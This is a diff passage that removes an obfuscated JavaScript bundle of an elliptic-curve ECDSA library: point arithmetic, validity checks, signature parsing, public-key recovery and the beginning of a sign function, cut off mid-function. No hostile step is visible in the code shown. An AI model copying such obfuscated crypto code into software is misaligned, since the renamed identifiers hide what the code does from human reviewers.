- throw new Error("x required");
- }
- if (null == _0x2420e6 || !_0x1ea99e.isValid(_0x2420e6)) {
- throw new Error("y required");
- }
- if (null == _0x1f7bf3 || !_0x1ea99e.isValid(_0x1f7bf3)) {
- throw new Error("z required");
- }
- }
- static fromAffine(_0x49746b) {
- const {
- x: _0x54323d,
- y: _0x5056a1
- } = _0x49746b || {};
- if (!_0x49746b || !_0x1ea99e.isValid(_0x54323d) || !_0x1ea99e.isValid(_0x5056a1)) {
- throw new Error("invalid affine point");
- }
- if (_0x49746b instanceof _0x2668b8) {
- throw new Error("projective point not allowed");
- }
- const _0x200849 = _0x2df1c4 => _0x1ea99e.eql(_0x2df1c4, _0x1ea99e.ZERO);
- return _0x200849(_0x54323d) && _0x200849(_0x5056a1) ? _0x2668b8.ZERO : new _0x2668b8(_0x54323d, _0x5056a1, _0x1ea99e.ONE);
- }
- get x() {
- return this.toAffine().x;
- }
- get y() {
- return this.toAffine().y;
- }
- static normalizeZ(_0x29dba3) {
- const _0x497100 = _0x1ea99e.invertBatch(_0x29dba3.map(_0x54b461 => _0x54b461.pz));
- return _0x29dba3.map((_0x4e12e4, _0x5ec2fe) => _0x4e12e4.toAffine(_0x497100[_0x5ec2fe])).map(_0x2668b8.fromAffine);
- }
- static fromHex(_0x111fbb) {
- const _0x554671 = _0x2668b8.fromAffine(_0x330d9e((0, _0x1108c0.ensureBytes)("pointHex", _0x111fbb)));
- _0x554671.assertValidity();
- return _0x554671;
- }
- static fromPrivateKey(_0x5ea615) {
- return _0x2668b8.BASE.multiply(_0x54810c(_0x5ea615));
- }
- _setWindowSize(_0x2cfe9d) {
- this._WINDOW_SIZE = _0x2cfe9d;
- _0x5e24aa.delete(this);
- }
- assertValidity() {
- if (this.is0()) {
- if (_0x353d93.allowInfinityPoint) {
- return;
- }
- throw new Error("bad point: ZERO");
- }
- const {
- x: _0x472b92,
- y: _0x7a9313
- } = this.toAffine();
- if (!_0x1ea99e.isValid(_0x472b92) || !_0x1ea99e.isValid(_0x7a9313)) {
- throw new Error("bad point: x or y not FE");
- }
- const _0x3f30c7 = _0x1ea99e.sqr(_0x7a9313);
- const _0x48edcf = _0x203460(_0x472b92);
- if (!_0x1ea99e.eql(_0x3f30c7, _0x48edcf)) {
- throw new Error("bad point: equation left != right");
- }
- if (!this.isTorsionFree()) {
- throw new Error("bad point: not in prime-order subgroup");
- }
- }
- hasEvenY() {
- const {
- y: _0x4b5bfe
- } = this.toAffine();
- if (_0x1ea99e.isOdd) {
- return !_0x1ea99e.isOdd(_0x4b5bfe);
- }
- throw new Error("Field doesn't support isOdd");
- }
- equals(_0x3ef3c5) {
- _0x548ceb(_0x3ef3c5);
- const {
- px: _0x3091fe,
- py: _0x1f4b71,
- pz: _0x1a7713
- } = this;
- const {
- px: _0x122a10,
- py: _0x5ecf37,
- pz: _0xd81661
- } = _0x3ef3c5;
- const _0x141403 = _0x1ea99e.eql(_0x1ea99e.mul(_0x3091fe, _0xd81661), _0x1ea99e.mul(_0x122a10, _0x1a7713));
- const _0xb1cc32 = _0x1ea99e.eql(_0x1ea99e.mul(_0x1f4b71, _0xd81661), _0x1ea99e.mul(_0x5ecf37, _0x1a7713));
- return _0x141403 && _0xb1cc32;
- }
- negate() {
- return new _0x2668b8(this.px, _0x1ea99e.neg(this.py), this.pz);
- }
- double() {
- const {
- a: _0x51aa91,
- b: _0x540868
- } = _0x353d93;
- const _0x4c76b2 = _0x1ea99e.mul(_0x540868, _0x4c4c23);
- const {
- px: _0x427fea,
- py: _0x5ebcdd,
- pz: _0x40fa47
- } = this;
- let _0x118c63 = _0x1ea99e.ZERO;
- let _0x1a3180 = _0x1ea99e.ZERO;
- let _0xeeada5 = _0x1ea99e.ZERO;
- let _0x5aaf65 = _0x1ea99e.mul(_0x427fea, _0x427fea);
- let _0x111f59 = _0x1ea99e.mul(_0x5ebcdd, _0x5ebcdd);
- let _0x1b5cfc = _0x1ea99e.mul(_0x40fa47, _0x40fa47);
- let _0x376b4f = _0x1ea99e.mul(_0x427fea, _0x5ebcdd);
- _0x376b4f = _0x1ea99e.add(_0x376b4f, _0x376b4f);
- _0xeeada5 = _0x1ea99e.mul(_0x427fea, _0x40fa47);
- _0xeeada5 = _0x1ea99e.add(_0xeeada5, _0xeeada5);
- _0x118c63 = _0x1ea99e.mul(_0x51aa91, _0xeeada5);
- _0x1a3180 = _0x1ea99e.mul(_0x4c76b2, _0x1b5cfc);
- _0x1a3180 = _0x1ea99e.add(_0x118c63, _0x1a3180);
- _0x118c63 = _0x1ea99e.sub(_0x111f59, _0x1a3180);
- _0x1a3180 = _0x1ea99e.add(_0x111f59, _0x1a3180);
- _0x1a3180 = _0x1ea99e.mul(_0x118c63, _0x1a3180);
- _0x118c63 = _0x1ea99e.mul(_0x376b4f, _0x118c63);
- _0xeeada5 = _0x1ea99e.mul(_0x4c76b2, _0xeeada5);
- _0x1b5cfc = _0x1ea99e.mul(_0x51aa91, _0x1b5cfc);
- _0x376b4f = _0x1ea99e.sub(_0x5aaf65, _0x1b5cfc);
- _0x376b4f = _0x1ea99e.mul(_0x51aa91, _0x376b4f);
- _0x376b4f = _0x1ea99e.add(_0x376b4f, _0xeeada5);
- _0xeeada5 = _0x1ea99e.add(_0x5aaf65, _0x5aaf65);
- _0x5aaf65 = _0x1ea99e.add(_0xeeada5, _0x5aaf65);
- _0x5aaf65 = _0x1ea99e.add(_0x5aaf65, _0x1b5cfc);
- _0x5aaf65 = _0x1ea99e.mul(_0x5aaf65, _0x376b4f);
- _0x1a3180 = _0x1ea99e.add(_0x1a3180, _0x5aaf65);
- _0x1b5cfc = _0x1ea99e.mul(_0x5ebcdd, _0x40fa47);
- _0x1b5cfc = _0x1ea99e.add(_0x1b5cfc, _0x1b5cfc);
- _0x5aaf65 = _0x1ea99e.mul(_0x1b5cfc, _0x376b4f);
- _0x118c63 = _0x1ea99e.sub(_0x118c63, _0x5aaf65);
- _0xeeada5 = _0x1ea99e.mul(_0x1b5cfc, _0x111f59);
- _0xeeada5 = _0x1ea99e.add(_0xeeada5, _0xeeada5);
- _0xeeada5 = _0x1ea99e.add(_0xeeada5, _0xeeada5);
- return new _0x2668b8(_0x118c63, _0x1a3180, _0xeeada5);
- }
- add(_0x30a423) {
- _0x548ceb(_0x30a423);
- const {
- px: _0x2ec6a4,
- py: _0x5080d4,
- pz: _0x130120
- } = this;
- const {
- px: _0x2c7a18,
- py: _0x5da502,
- pz: _0x35bbc9
- } = _0x30a423;
- let _0x19ea37 = _0x1ea99e.ZERO;
- let _0x33dd57 = _0x1ea99e.ZERO;
- let _0x5421a8 = _0x1ea99e.ZERO;
- const _0x36dd6e = _0x353d93.a;
- const _0x1c0891 = _0x1ea99e.mul(_0x353d93.b, _0x4c4c23);
- let _0x30194b = _0x1ea99e.mul(_0x2ec6a4, _0x2c7a18);
- let _0x35af94 = _0x1ea99e.mul(_0x5080d4, _0x5da502);
- let _0x35696d = _0x1ea99e.mul(_0x130120, _0x35bbc9);
- let _0x5ac739 = _0x1ea99e.add(_0x2ec6a4, _0x5080d4);
- let _0x21269c = _0x1ea99e.add(_0x2c7a18, _0x5da502);
- _0x5ac739 = _0x1ea99e.mul(_0x5ac739, _0x21269c);
- _0x21269c = _0x1ea99e.add(_0x30194b, _0x35af94);
- _0x5ac739 = _0x1ea99e.sub(_0x5ac739, _0x21269c);
- _0x21269c = _0x1ea99e.add(_0x2ec6a4, _0x130120);
- let _0x5460f8 = _0x1ea99e.add(_0x2c7a18, _0x35bbc9);
- _0x21269c = _0x1ea99e.mul(_0x21269c, _0x5460f8);
- _0x5460f8 = _0x1ea99e.add(_0x30194b, _0x35696d);
- _0x21269c = _0x1ea99e.sub(_0x21269c, _0x5460f8);
- _0x5460f8 = _0x1ea99e.add(_0x5080d4, _0x130120);
- _0x19ea37 = _0x1ea99e.add(_0x5da502, _0x35bbc9);
- _0x5460f8 = _0x1ea99e.mul(_0x5460f8, _0x19ea37);
- _0x19ea37 = _0x1ea99e.add(_0x35af94, _0x35696d);
- _0x5460f8 = _0x1ea99e.sub(_0x5460f8, _0x19ea37);
- _0x5421a8 = _0x1ea99e.mul(_0x36dd6e, _0x21269c);
- _0x19ea37 = _0x1ea99e.mul(_0x1c0891, _0x35696d);
- _0x5421a8 = _0x1ea99e.add(_0x19ea37, _0x5421a8);
- _0x19ea37 = _0x1ea99e.sub(_0x35af94, _0x5421a8);
- _0x5421a8 = _0x1ea99e.add(_0x35af94, _0x5421a8);
- _0x33dd57 = _0x1ea99e.mul(_0x19ea37, _0x5421a8);
- _0x35af94 = _0x1ea99e.add(_0x30194b, _0x30194b);
- _0x35af94 = _0x1ea99e.add(_0x35af94, _0x30194b);
- _0x35696d = _0x1ea99e.mul(_0x36dd6e, _0x35696d);
- _0x21269c = _0x1ea99e.mul(_0x1c0891, _0x21269c);
- _0x35af94 = _0x1ea99e.add(_0x35af94, _0x35696d);
- _0x35696d = _0x1ea99e.sub(_0x30194b, _0x35696d);
- _0x35696d = _0x1ea99e.mul(_0x36dd6e, _0x35696d);
- _0x21269c = _0x1ea99e.add(_0x21269c, _0x35696d);
- _0x30194b = _0x1ea99e.mul(_0x35af94, _0x21269c);
- _0x33dd57 = _0x1ea99e.add(_0x33dd57, _0x30194b);
- _0x30194b = _0x1ea99e.mul(_0x5460f8, _0x21269c);
- _0x19ea37 = _0x1ea99e.mul(_0x5ac739, _0x19ea37);
- _0x19ea37 = _0x1ea99e.sub(_0x19ea37, _0x30194b);
- _0x30194b = _0x1ea99e.mul(_0x5ac739, _0x35af94);
- _0x5421a8 = _0x1ea99e.mul(_0x5460f8, _0x5421a8);
- _0x5421a8 = _0x1ea99e.add(_0x5421a8, _0x30194b);
- return new _0x2668b8(_0x19ea37, _0x33dd57, _0x5421a8);
- }
- subtract(_0x186f49) {
- return this.add(_0x186f49.negate());
- }
- is0() {
- return this.equals(_0x2668b8.ZERO);
- }
- wNAF(_0x5e5518) {
- return _0x2ca952.wNAFCached(this, _0x5e24aa, _0x5e5518, _0x2207db => {
- const _0x138910 = _0x1ea99e.invertBatch(_0x2207db.map(_0xadb770 => _0xadb770.pz));
- return _0x2207db.map((_0x454d30, _0x14da94) => _0x454d30.toAffine(_0x138910[_0x14da94])).map(_0x2668b8.fromAffine);
- });
- }
- multiplyUnsafe(_0x32e64b) {
- const _0x580395 = _0x2668b8.ZERO;
- if (_0x32e64b === _0x573b1c) {
- return _0x580395;
- }
- if (_0x16120c(_0x32e64b), _0x32e64b === _0x3fb7b3) {
- return this;
- }
- const {
- endo: _0x2e1660
- } = _0x353d93;
- if (!_0x2e1660) {
- return _0x2ca952.unsafeLadder(this, _0x32e64b);
- }
- let {
- k1neg: _0x21e1f1,
- k1: _0x238691,
- k2neg: _0x1ea2da,
- k2: _0x32b158
- } = _0x2e1660.splitScalar(_0x32e64b);
- let _0x4ffd30 = _0x580395;
- let _0x550fa6 = _0x580395;
- let _0x47c36f = this;
- for (; _0x238691 > _0x573b1c || _0x32b158 > _0x573b1c;) {
- _0x238691 & _0x3fb7b3 && (_0x4ffd30 = _0x4ffd30.add(_0x47c36f));
- _0x32b158 & _0x3fb7b3 && (_0x550fa6 = _0x550fa6.add(_0x47c36f));
- _0x47c36f = _0x47c36f.double();
- _0x238691 >>= _0x3fb7b3;
- _0x32b158 >>= _0x3fb7b3;
- }
- _0x21e1f1 && (_0x4ffd30 = _0x4ffd30.negate());
- _0x1ea2da && (_0x550fa6 = _0x550fa6.negate());
- _0x550fa6 = new _0x2668b8(_0x1ea99e.mul(_0x550fa6.px, _0x2e1660.beta), _0x550fa6.py, _0x550fa6.pz);
- return _0x4ffd30.add(_0x550fa6);
- }
- multiply(_0x303b8e) {
- _0x16120c(_0x303b8e);
- let _0x3a2136;
- let _0x8e061a;
- let _0x4e3a6b = _0x303b8e;
- const {
- endo: _0x3dd462
- } = _0x353d93;
- if (_0x3dd462) {
- const {
- k1neg: _0x3c08dc,
- k1: _0x42338e,
- k2neg: _0x54266e,
- k2: _0x537c05
- } = _0x3dd462.splitScalar(_0x4e3a6b);
- let {
- p: _0x335b76,
- f: _0x355911
- } = this.wNAF(_0x42338e);
- let {
- p: _0x5ce39a,
- f: _0x3f33aa
- } = this.wNAF(_0x537c05);
- _0x335b76 = _0x2ca952.constTimeNegate(_0x3c08dc, _0x335b76);
- _0x5ce39a = _0x2ca952.constTimeNegate(_0x54266e, _0x5ce39a);
- _0x5ce39a = new _0x2668b8(_0x1ea99e.mul(_0x5ce39a.px, _0x3dd462.beta), _0x5ce39a.py, _0x5ce39a.pz);
- _0x3a2136 = _0x335b76.add(_0x5ce39a);
- _0x8e061a = _0x355911.add(_0x3f33aa);
- } else {
- const {
- p: _0x3ef787,
- f: _0x2b76f2
- } = this.wNAF(_0x4e3a6b);
- _0x3a2136 = _0x3ef787;
- _0x8e061a = _0x2b76f2;
- }
- return _0x2668b8.normalizeZ([_0x3a2136, _0x8e061a])[0];
- }
- multiplyAndAddUnsafe(_0x28ba55, _0x382737, _0x53e969) {
- const _0x3e1013 = _0x2668b8.BASE;
- const _0x20f54a = (_0x2f04fa, _0x5e71c0) => _0x5e71c0 !== _0x573b1c && _0x5e71c0 !== _0x3fb7b3 && _0x2f04fa.equals(_0x3e1013) ? _0x2f04fa.multiply(_0x5e71c0) : _0x2f04fa.multiplyUnsafe(_0x5e71c0);
- const _0x230d6a = _0x20f54a(this, _0x382737).add(_0x20f54a(_0x28ba55, _0x53e969));
- return _0x230d6a.is0() ? undefined : _0x230d6a;
- }
- toAffine(_0xdcf1f9) {
- const {
- px: _0x20417e,
- py: _0x90264c,
- pz: _0x265328
- } = this;
- const _0x135169 = this.is0();
- null == _0xdcf1f9 && (_0xdcf1f9 = _0x135169 ? _0x1ea99e.ONE : _0x1ea99e.inv(_0x265328));
- const _0x34a3db = _0x1ea99e.mul(_0x20417e, _0xdcf1f9);
- const _0x1f81d0 = _0x1ea99e.mul(_0x90264c, _0xdcf1f9);
- const _0x59bc8c = _0x1ea99e.mul(_0x265328, _0xdcf1f9);
- if (_0x135169) {
- return {
- x: _0x1ea99e.ZERO,
- y: _0x1ea99e.ZERO
- };
- }
- if (!_0x1ea99e.eql(_0x59bc8c, _0x1ea99e.ONE)) {
- throw new Error("invZ was invalid");
- }
- return {
- x: _0x34a3db,
- y: _0x1f81d0
- };
- }
- isTorsionFree() {
- const {
- h: _0x4ec58e,
- isTorsionFree: _0x4caccb
- } = _0x353d93;
- if (_0x4ec58e === _0x3fb7b3) {
- return true;
- }
- if (_0x4caccb) {
- return _0x4caccb(_0x2668b8, this);
- }
- throw new Error("isTorsionFree() has not been declared for the elliptic curve");
- }
- clearCofactor() {
- const {
- h: _0x6611bd,
- clearCofactor: _0x1310fb
- } = _0x353d93;
- return _0x6611bd === _0x3fb7b3 ? this : _0x1310fb ? _0x1310fb(_0x2668b8, this) : this.multiplyUnsafe(_0x353d93.h);
- }
- toRawBytes(_0x18b1bd = true) {
- this.assertValidity();
- return _0x5551ff(_0x2668b8, this, _0x18b1bd);
- }
- toHex(_0x14485c = true) {
- return _0x31141f.bytesToHex(this.toRawBytes(_0x14485c));
- }
- }
- _0x2668b8.BASE = new _0x2668b8(_0x353d93.Gx, _0x353d93.Gy, _0x1ea99e.ONE);
- _0x2668b8.ZERO = new _0x2668b8(_0x1ea99e.ZERO, _0x1ea99e.ONE, _0x1ea99e.ZERO);
- const _0x2e4213 = _0x353d93.nBitLength;
- const _0x2ca952 = (0, _0x527c9f.wNAF)(_0x2668b8, _0x353d93.endo ? Math.ceil(_0x2e4213 / 2) : _0x2e4213);
- return {
- CURVE: _0x353d93,
- ProjectivePoint: _0x2668b8,
- normPrivateKeyToScalar: _0x54810c,
- weierstrassEquation: _0x203460,
- isWithinCurveOrder: _0x59fb2f
- };
- }
- function _0x3189cc(_0x3aac34, _0x25f2ab) {
- const _0x5861e3 = _0x3aac34.ORDER;
- let _0x1d5891 = _0x573b1c;
- for (let _0x48210c = _0x5861e3 - _0x3fb7b3; _0x48210c % _0x27828f === _0x573b1c; _0x48210c /= _0x27828f) {
- _0x1d5891 += _0x3fb7b3;
- }
- const _0x3bcea0 = _0x1d5891;
- const _0x364f2b = (_0x5861e3 - _0x3fb7b3) / _0x27828f ** _0x3bcea0;
- const _0x49a6cc = (_0x364f2b - _0x3fb7b3) / _0x27828f;
- const _0xf22139 = _0x27828f ** _0x3bcea0 - _0x3fb7b3;
- const _0x702850 = _0x27828f ** (_0x3bcea0 - _0x3fb7b3);
- const _0xb21d93 = _0x3aac34.pow(_0x25f2ab, _0x364f2b);
- const _0x5819be = _0x3aac34.pow(_0x25f2ab, (_0x364f2b + _0x3fb7b3) / _0x27828f);
- let _0x446145 = (_0x28f91f, _0x2362da) => {
- let _0x11693d = _0xb21d93;
- let _0x15a301 = _0x3aac34.pow(_0x2362da, _0xf22139);
- let _0x413a29 = _0x3aac34.sqr(_0x15a301);
- _0x413a29 = _0x3aac34.mul(_0x413a29, _0x2362da);
- let _0x2cded6 = _0x3aac34.mul(_0x28f91f, _0x413a29);
- _0x2cded6 = _0x3aac34.pow(_0x2cded6, _0x49a6cc);
- _0x2cded6 = _0x3aac34.mul(_0x2cded6, _0x15a301);
- _0x15a301 = _0x3aac34.mul(_0x2cded6, _0x2362da);
- _0x413a29 = _0x3aac34.mul(_0x2cded6, _0x28f91f);
- let _0x5193f9 = _0x3aac34.mul(_0x413a29, _0x15a301);
- _0x2cded6 = _0x3aac34.pow(_0x5193f9, _0x702850);
- let _0x566367 = _0x3aac34.eql(_0x2cded6, _0x3aac34.ONE);
- _0x15a301 = _0x3aac34.mul(_0x413a29, _0x5819be);
- _0x2cded6 = _0x3aac34.mul(_0x5193f9, _0x11693d);
- _0x413a29 = _0x3aac34.cmov(_0x15a301, _0x413a29, _0x566367);
- _0x5193f9 = _0x3aac34.cmov(_0x2cded6, _0x5193f9, _0x566367);
- for (let _0x24f6f4 = _0x3bcea0; _0x24f6f4 > _0x3fb7b3; _0x24f6f4--) {
- let _0x55b158 = _0x27828f ** (_0x24f6f4 - _0x27828f);
- let _0x318efb = _0x3aac34.pow(_0x5193f9, _0x55b158);
- const _0x430561 = _0x3aac34.eql(_0x318efb, _0x3aac34.ONE);
- _0x15a301 = _0x3aac34.mul(_0x413a29, _0x11693d);
- _0x11693d = _0x3aac34.mul(_0x11693d, _0x11693d);
- _0x318efb = _0x3aac34.mul(_0x5193f9, _0x11693d);
- _0x413a29 = _0x3aac34.cmov(_0x15a301, _0x413a29, _0x430561);
- _0x5193f9 = _0x3aac34.cmov(_0x318efb, _0x5193f9, _0x430561);
- }
- return {
- isValid: _0x566367,
- value: _0x413a29
- };
- };
- if (_0x3aac34.ORDER % _0x214a1c === _0x4c4c23) {
- const _0x2d546f = (_0x3aac34.ORDER - _0x4c4c23) / _0x214a1c;
- const _0x434815 = _0x3aac34.sqrt(_0x3aac34.neg(_0x25f2ab));
- _0x446145 = (_0x27e150, _0x572646) => {
- let _0x1444db = _0x3aac34.sqr(_0x572646);
- const _0x55e7a6 = _0x3aac34.mul(_0x27e150, _0x572646);
- _0x1444db = _0x3aac34.mul(_0x1444db, _0x55e7a6);
- let _0x59c5dc = _0x3aac34.pow(_0x1444db, _0x2d546f);
- _0x59c5dc = _0x3aac34.mul(_0x59c5dc, _0x55e7a6);
- const _0x2cd862 = _0x3aac34.mul(_0x59c5dc, _0x434815);
- const _0x41c295 = _0x3aac34.mul(_0x3aac34.sqr(_0x59c5dc), _0x572646);
- const _0x2b7873 = _0x3aac34.eql(_0x41c295, _0x27e150);
- return {
- isValid: _0x2b7873,
- value: _0x3aac34.cmov(_0x2cd862, _0x59c5dc, _0x2b7873)
- };
- };
- }
- return _0x446145;
- }
- _0x5a0686.weierstrassPoints = _0x293fa3;
- _0x5a0686.weierstrass = function (_0x36326a) {
- const _0x2bc373 = function (_0x3baff8) {
- const _0x5308bb = (0, _0x527c9f.validateBasic)(_0x3baff8);
- _0x31141f.validateObject(_0x5308bb, {
- hash: "hash",
- hmac: "function",
- randomBytes: "function"
- }, {
- bits2int: "function",
- bits2int_modN: "function",
- lowS: "boolean"
- });
- return Object.freeze({
- lowS: true,
- ..._0x5308bb
- });
- }(_0x36326a);
- const {
- Fp: _0xaa77f3,
- n: _0x2bd974
- } = _0x2bc373;
- const _0x10473c = _0xaa77f3.BYTES + 1;
- const _0x257605 = 2 * _0xaa77f3.BYTES + 1;
- function _0x59e12e(_0x774f15) {
- return _0x29eea0.mod(_0x774f15, _0x2bd974);
- }
- function _0x49cea4(_0x52f750) {
- return _0x29eea0.invert(_0x52f750, _0x2bd974);
- }
- const {
- ProjectivePoint: _0x5beecc,
- normPrivateKeyToScalar: _0x4d8fa5,
- weierstrassEquation: _0x2f52ee,
- isWithinCurveOrder: _0x1f86c9
- } = _0x293fa3({
- ..._0x2bc373,
- toBytes(_0xbbda6f, _0x491911, _0x2a00cf) {
- const _0x3b41d6 = _0x491911.toAffine();
- const _0x5f1f83 = _0xaa77f3.toBytes(_0x3b41d6.x);
- const _0x4a4e89 = _0x31141f.concatBytes;
- return _0x2a00cf ? _0x4a4e89(Uint8Array.from([_0x491911.hasEvenY() ? 2 : 3]), _0x5f1f83) : _0x4a4e89(Uint8Array.from([4]), _0x5f1f83, _0xaa77f3.toBytes(_0x3b41d6.y));
- },
- fromBytes(_0x510fb6) {
- const _0x14878d = _0x510fb6.length;
- const _0x4dad = _0x510fb6[0];
- const _0x555b9f = _0x510fb6.subarray(1);
- if (_0x14878d !== _0x10473c || 2 !== _0x4dad && 3 !== _0x4dad) {
- if (_0x14878d === _0x257605 && 4 === _0x4dad) {
- return {
- x: _0xaa77f3.fromBytes(_0x555b9f.subarray(0, _0xaa77f3.BYTES)),
- y: _0xaa77f3.fromBytes(_0x555b9f.subarray(_0xaa77f3.BYTES, 2 * _0xaa77f3.BYTES))
- };
- }
- throw new Error("Point of length " + _0x14878d + " was invalid. Expected " + _0x10473c + " compressed bytes or " + _0x257605 + " uncompressed bytes");
- }
- {
- const _0x35ea8e = _0x31141f.bytesToNumberBE(_0x555b9f);
- if (!(_0x573b1c < (_0x35b389 = _0x35ea8e) && _0x35b389 < _0xaa77f3.ORDER)) {
- throw new Error("Point is not on curve");
- }
- const _0x27f9b6 = _0x2f52ee(_0x35ea8e);
- let _0x198956 = _0xaa77f3.sqrt(_0x27f9b6);
- 1 == (1 & _0x4dad) != ((_0x198956 & _0x3fb7b3) === _0x3fb7b3) && (_0x198956 = _0xaa77f3.neg(_0x198956));
- return {
- x: _0x35ea8e,
- y: _0x198956
- };
- }
- var _0x35b389;
- }
- });
- const _0x369a80 = _0x51197d => _0x31141f.bytesToHex(_0x31141f.numberToBytesBE(_0x51197d, _0x2bc373.nByteLength));
- function _0x2815e9(_0x36a05e) {
- return _0x36a05e > _0x2bd974 >> _0x3fb7b3;
- }
- const _0x305536 = (_0x3080d7, _0x530719, _0xe9e15c) => _0x31141f.bytesToNumberBE(_0x3080d7.slice(_0x530719, _0xe9e15c));
- class _0x142fc4 {
- constructor(_0x4eb032, _0x101f2b, _0x3da5bc) {
- this.r = _0x4eb032;
- this.s = _0x101f2b;
- this.recovery = _0x3da5bc;
- this.assertValidity();
- }
- static fromCompact(_0x17a1bb) {
- const _0x5f3748 = _0x2bc373.nByteLength;
- _0x17a1bb = (0, _0x1108c0.ensureBytes)("compactSignature", _0x17a1bb, 2 * _0x5f3748);
- return new _0x142fc4(_0x305536(_0x17a1bb, 0, _0x5f3748), _0x305536(_0x17a1bb, _0x5f3748, 2 * _0x5f3748));
- }
- static fromDER(_0x3c3c26) {
- const {
- r: _0x3f28c9,
- s: _0x1a89fe
- } = _0x5a0686.DER.toSig((0, _0x1108c0.ensureBytes)("DER", _0x3c3c26));
- return new _0x142fc4(_0x3f28c9, _0x1a89fe);
- }
- assertValidity() {
- if (!_0x1f86c9(this.r)) {
- throw new Error("r must be 0 < r < CURVE.n");
- }
- if (!_0x1f86c9(this.s)) {
- throw new Error("s must be 0 < s < CURVE.n");
- }
- }
- addRecoveryBit(_0x29fb19) {
- return new _0x142fc4(this.r, this.s, _0x29fb19);
- }
- recoverPublicKey(_0xa88159) {
- const {
- r: _0x5b7fff,
- s: _0x508668,
- recovery: _0x157211
- } = this;
- const _0x41518d = _0x550513((0, _0x1108c0.ensureBytes)("msgHash", _0xa88159));
- if (null == _0x157211 || ![0, 1, 2, 3].includes(_0x157211)) {
- throw new Error("recovery id invalid");
- }
- const _0x376465 = 2 === _0x157211 || 3 === _0x157211 ? _0x5b7fff + _0x2bc373.n : _0x5b7fff;
- if (_0x376465 >= _0xaa77f3.ORDER) {
- throw new Error("recovery id 2 or 3 invalid");
- }
- const _0x5a2640 = 0 == (1 & _0x157211) ? "02" : "03";
- const _0x1258d8 = _0x5beecc.fromHex(_0x5a2640 + _0x369a80(_0x376465));
- const _0x17fbb8 = _0x49cea4(_0x376465);
- const _0x1686f6 = _0x59e12e(-_0x41518d * _0x17fbb8);
- const _0xf1eef8 = _0x59e12e(_0x508668 * _0x17fbb8);
- const _0x415f6d = _0x5beecc.BASE.multiplyAndAddUnsafe(_0x1258d8, _0x1686f6, _0xf1eef8);
- if (!_0x415f6d) {
- throw new Error("point at infinify");
- }
- _0x415f6d.assertValidity();
- return _0x415f6d;
- }
- hasHighS() {
- return _0x2815e9(this.s);
- }
- normalizeS() {
- return this.hasHighS() ? new _0x142fc4(this.r, _0x59e12e(-this.s), this.recovery) : this;
- }
- toDERRawBytes() {
- return _0x31141f.hexToBytes(this.toDERHex());
- }
- toDERHex() {
- return _0x5a0686.DER.hexFromSig({
- r: this.r,
- s: this.s
- });
- }
- toCompactRawBytes() {
- return _0x31141f.hexToBytes(this.toCompactHex());
- }
- toCompactHex() {
- return _0x369a80(this.r) + _0x369a80(this.s);
- }
- }
- const _0x2a345d = {
- isValidPrivateKey(_0x6171d2) {
- try {
- _0x4d8fa5(_0x6171d2);
- return true;
- } catch (_0x5d0c22) {
- return false;
- }
- },
- normPrivateKeyToScalar: _0x4d8fa5,
- randomPrivateKey: () => {
- const _0x6496bc = _0x2bc373.randomBytes(_0xaa77f3.BYTES + 8);
- const _0x3c6ac9 = _0x29eea0.hashToPrivateScalar(_0x6496bc, _0x2bd974);
- return _0x31141f.numberToBytesBE(_0x3c6ac9, _0x2bc373.nByteLength);
- },
- precompute: (_0xc7fe3a = 8, _0x5bef7c = _0x5beecc.BASE) => (_0x5bef7c._setWindowSize(_0xc7fe3a), _0x5bef7c.multiply(BigInt(3)), _0x5bef7c)
- };
- function _0x41a11f(_0x2d584f) {
- const _0x2cf68d = _0x2d584f instanceof Uint8Array;
- const _0x3d1c21 = "string" == typeof _0x2d584f;
- const _0x50a78c = (_0x2cf68d || _0x3d1c21) && _0x2d584f.length;
- return _0x2cf68d ? _0x50a78c === _0x10473c || _0x50a78c === _0x257605 : _0x3d1c21 ? _0x50a78c === 2 * _0x10473c || _0x50a78c === 2 * _0x257605 : _0x2d584f instanceof _0x5beecc;
- }
- const _0x28fb6a = _0x2bc373.bits2int || function (_0x3bd813) {
- const _0x3f4e05 = _0x31141f.bytesToNumberBE(_0x3bd813);
- const _0x4db345 = 8 * _0x3bd813.length - _0x2bc373.nBitLength;
- return _0x4db345 > 0 ? _0x3f4e05 >> BigInt(_0x4db345) : _0x3f4e05;
- };
- const _0x550513 = _0x2bc373.bits2int_modN || function (_0x43e797) {
- return _0x59e12e(_0x28fb6a(_0x43e797));
- };
- const _0x4a653a = _0x31141f.bitMask(_0x2bc373.nBitLength);
- function _0x4c2c2b(_0x5784a1) {
- if ("bigint" != typeof _0x5784a1) {
- throw new Error("bigint expected");
- }
- if (!(_0x573b1c <= _0x5784a1 && _0x5784a1 < _0x4a653a)) {
- throw new Error("bigint expected < 2^" + _0x2bc373.nBitLength);
- }
- return _0x31141f.numberToBytesBE(_0x5784a1, _0x2bc373.nByteLength);
- }
- const _0x5f552a = {
- lowS: _0x2bc373.lowS,
- prehash: false
- };
- const _0x1ccf05 = {
- lowS: _0x2bc373.lowS,
- prehash: false
- };
- _0x5beecc.BASE._setWindowSize(8);
- return {
- CURVE: _0x2bc373,
- getPublicKey: function (_0x3c678b, _0x23c0b8 = true) {
- return _0x5beecc.fromPrivateKey(_0x3c678b).toRawBytes(_0x23c0b8);
- },
- getSharedSecret: function (_0x5eeae1, _0x5ed2cb, _0x4d346f = true) {
- if (_0x41a11f(_0x5eeae1)) {
- throw new Error("first arg must be private key");
- }
- if (!_0x41a11f(_0x5ed2cb)) {
- throw new Error("second arg must be public key");
- }
- return _0x5beecc.fromHex(_0x5ed2cb).multiply(_0x4d8fa5(_0x5eeae1)).toRawBytes(_0x4d346f);
- },
- sign: function (_0x3e1ad5, _0x318dd8, _0x3d583e = _0x5f552a) {
- const {
- seed: _0xb5a894,
- k2sig: _0x54e4a8
- } = function (_0x1e660c, _0x56fcfb, _0x25fe3f = _0x5f552a) {
- if (["recovered", "canonical"].some(_0x55fed8 => _0x55fed8 in _0x25fe3f)) {
- throw new Error("sign() legacy options not supported");
- }
- const {
- hash: _0x35a177,
- randomBytes: _0x57b98c
- } = _0x2bc373;
- let {
- lowS: _0x5a5204,
- prehash: _0x50a7d3,
- extraEntropy: _0x2f05d3
- } = _0x25fe3f;
- null == _0x5a5204 && (_0x5a5204 = true);
- _0x1e660c = (0, _0x1108c0.ensureBytes)("msgHash", _0x1e660c);
- _0x50a7d3 && (_0x1e660c = (0, _0x1108c0.ensureBytes)("prehashed msgHash", _0x35a177(_0x1e660c)));
- const _0x506ad2 = _0x550513(_0x1e660c);
- const _0x53c711 = _0x4d8fa5(_0x56fcfb);
- const _0x3f7efb = [_0x4c2c2b(_0x53c711), _0x4c2c2b(_0x506ad2)];
